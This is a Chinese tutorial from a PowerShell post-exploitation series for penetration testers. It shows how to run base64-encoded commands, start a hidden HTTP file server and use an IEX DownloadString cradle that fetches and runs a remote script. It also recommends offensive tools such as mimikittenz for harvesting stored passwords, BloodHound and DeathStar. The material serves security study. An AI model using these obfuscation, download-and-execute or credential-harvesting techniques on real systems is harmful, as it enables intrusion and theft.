Powershell(12)-实例使用场景
本篇为Powershell攻击指南——黑客后渗透之道系列之实战篇,主要介绍的一些实用的利用方式与利用场景和一些实用工具。
在实际的渗透环境中我们利用Powershell的方式无非两种:
- 使用编码的方式对Powershell命令进行编码之后运行
- 远程下载Powershell代码之后直接运行
两种方式各有利弊,第一种比较方便直接编码即可执行,第二种需要到一台拥有公网IP的机器,那么在实际的渗透环境中如何选择就得看具体场景了。下面看看两种实例:
通过编码的方式执行
我们做一个最简单的例子:
使用编码的方式执行whoami
命令,我们首先使用下面的命令来进行编码
$command = "whoami"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand
这串代码执行完之后就会打印出编码结果,之后直接执行即可powershell.exe -EncodedCommand $encodedCommand
完整过程如下:
搭建小型HTTP服务器
Powershell搭建HTTP服务器在真实的渗透环境中使用率是较高的,比如说我们需要直接的Get一个文件而使用SMB或者FTP是不推荐的,动静太大也较难搭建,而使用HTTP则没有这样的困难,也可以搭建在内网使用Powershell脚本的服务器。
那么很多人会说Python就好了啊,
-m SimpleHTTPServer
就好了,但是对于Windows操作系统并没有那么的Python环境供你使用,我们需要的是最少的操作做最多的事情,利用Windows自带的软件或文件是我们的最佳选择,所以Powershell是我们的不二之选
HTTPListener-API
那么搭建HTTP服务器也是调用了API,使用到了.Net的API—-HttpListener,我们只需要像这样调用New-Object Net.HttpListener
那么我们就可以得到一个.Net对象,下面我们直接看看代码:
# This script will execute in background
start-job {
$p="c:\temp\"
# $p = Get-Location 可以获取当前用户的目录,如果这样使用后面的$p改为$p.path
$H=New-Object Net.HttpListener
$H.Prefixes.Add("http://+:8889/")
$H.Start()
While ($H.IsListening) {
$HC=$H.GetContext()
$HR=$HC.Response
$HR.Headers.Add("Content-Type","text/plain")
$file=Join-Path $p ($HC.Request).RawUrl
$text=[IO.File]::ReadAllText($file)
$text=[Text.Encoding]::UTF8.GetBytes($text)
$HR.ContentLength64 = $text.Length
$HR.OutputStream.Write($text,0,$text.Length)
$HR.Close()
}
$H.Stop()
}
那么代码也不长,直接运行就能在后台运行,Powershell会返回一个任务ID
如果我们需要停止这个HTTP,只需要Stop即可:
那么我们只需要修改我们的目录即可对相应的目录进行访问与下载,非常方便。
远程加载执行
直接看看命令:powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/httptest.ps1');"
我们只需要在本地开一个Web服务,那么这就很好开了:通过Python或者其他的方式都可以,自己的机器怎么修改都可以。之后通过上面的命令下载你的脚本即可,这样就可以下载并执行了。那么还可以和上面编码的方式并用,就能更好的执行了。
实例工具
下面推荐一些比较好的工具,类似Powersploit或者nishang有的内容就不提及了,就提几个经常使用的工具。
mimikittenz
第一个是mimikittenz这个脚本能够获取到用户级的密码,比如Deopbox,jira,Gmail等等,对于真实的渗透环境来说,需求还是挺大的,下面是这个脚本提供的运行截图。
BloodHound
链接
中文名猎犬,先说说能干嘛吧:内网信息域内关系与细节整理,这个工具也是作为DEFCON 24的免费开源工具发布,主要使用了图论的一些知识,推荐学习。
DeathStar
链接
中文名死星,一看名字就知道是个StarWar迷:),也能看出他的威力效果,下面是官方一张gif使用效果
这款工具需要配合Empire的API,下面链接是作者的教程,大家可以自行研究。
开发工具
工欲善其事,必先利其器。这里提一下Ps的开发工具供大家选择。
ISE
那么最基础的是Ps的ISE,这个工具是自带的,通过下面的方式打开
打开的界面如下:
语法高亮,外加一个便于复制和粘贴操作的图形化控制台,可以说是非常的方便。
PowerShell Studio & Visual Studio
但如果你是一个需要更专业的开发环境,这款工具肯定能帮到你,官网在这里,简单看看他的一张截图:
可以看到软件是非常专业的,非常的方便编写与管理你的代码。
Visual Studio同意也能达到这样的效果,那么大家可以自行选择。